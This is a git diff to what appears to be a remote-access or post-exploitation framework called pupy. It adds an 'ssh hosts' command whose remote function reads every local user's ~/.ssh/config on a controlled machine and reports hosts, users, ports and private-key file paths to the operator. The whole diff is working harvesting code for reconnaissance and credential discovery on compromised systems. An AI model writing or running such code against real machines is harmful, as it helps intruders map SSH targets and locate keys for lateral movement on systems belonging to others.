diff --git a/pupy/modules/ssh.py b/pupy/modules/ssh.py index d9737b3a..7e79765f 100644 --- a/pupy/modules/ssh.py +++ b/pupy/modules/ssh.py @@ -2,6 +2,7 @@ from pupylib.PupyModule import config, PupyModule, PupyArgumentParser, REQUIRE_STREAM from pupylib.PupyCompleter import path_completer +from pupylib.PupyOutput import Table, Color from os import path, makedirs, unlink, walk, stat from stat import S_ISDIR @@ -64,7 +65,15 @@ class SSH(PupyModule): download.add_argument('dst_path', nargs='?', help='Local destination (folder)') download.set_defaults(func=cls.download) + hosts = commands.add_parser('hosts') + hosts.add_argument('host', nargs='?', help='Show info for host') + hosts.set_defaults(func=cls.hosts) + def run(self, args): + if args.func == SSH.hosts: + self.hosts(args) + return + if args.private_keys: self.pkeys = self._find_private_keys(self, args.private_keys) @@ -81,6 +90,30 @@ class SSH(PupyModule): finally: self.closer = None + def hosts(self, args): + get_hosts = self.client.remote('ssh', 'ssh_hosts') + records = get_hosts() + + if args.host: + for user, hosts in records.iteritems(): + for alias, host in hosts.iteritems(): + if args.host == alias or args.host == host.get('hostname'): + self.log(Table([{ + 'KEY':k, 'VALUE': ','.join(v) if type(v) == list else v + } for k,v in host.iteritems()], + ['KEY', 'VALUE'], Color('{}, user={}'.format(alias, user), 'yellow'))) + + else: + for user, hosts in records.iteritems(): + self.log(Table([{ + 'ALIAS':alias, + 'USER':hosts[alias].get('user', user), + 'HOST':hosts[alias]['hostname'], + 'PORT':hosts[alias].get('port', 22), + 'KEY':','.join(hosts[alias].get('identityfile', [])) + } for alias in hosts if 'hostname' in hosts[alias] and not alias == '*'], + ['ALIAS', 'USER', 'HOST', 'PORT', 'KEY'], Color('User: {}'.format(user), 'yellow'))) + def _handle_on_data(self, args, data_cb, connect_cb=None, complete_cb=None): msg_type = args[0] if msg_type == 0: diff --git a/pupy/packages/all/ssh.py b/pupy/packages/all/ssh.py index 0b11c8df..16216c5c 100644 --- a/pupy/packages/all/ssh.py +++ b/pupy/packages/all/ssh.py @@ -940,6 +940,37 @@ def ssh_download_tar(src, hosts, port, user, password, private_keys, data_cb, cl data_cb, close_cb ) +def ssh_hosts(): + paths = [] + configs = {} + + try: + import pwd + for pw in pwd.getpwall(): + config_path = path.join(pw.pw_dir, '.ssh', 'config') + if path.isfile(config_path): + paths.append((pw.pw_name, config_path)) + + except ImportError: + config_path = path.expanduser(path.join('~', '.ssh', 'config')) + if path.isfile(config_path): + import getpass + paths = [(getpass.getuser(), config_path)] + + for user, config_path in paths: + ssh_config = SSHConfig() + try: + with open(config_path) as config: + ssh_config.parse(config) + + except OSError: + continue + + configs[user] = { + host:ssh_config.lookup(host) for host in ssh_config.get_hostnames() + } + + return configs if __name__ == '__main__': def try_int(x):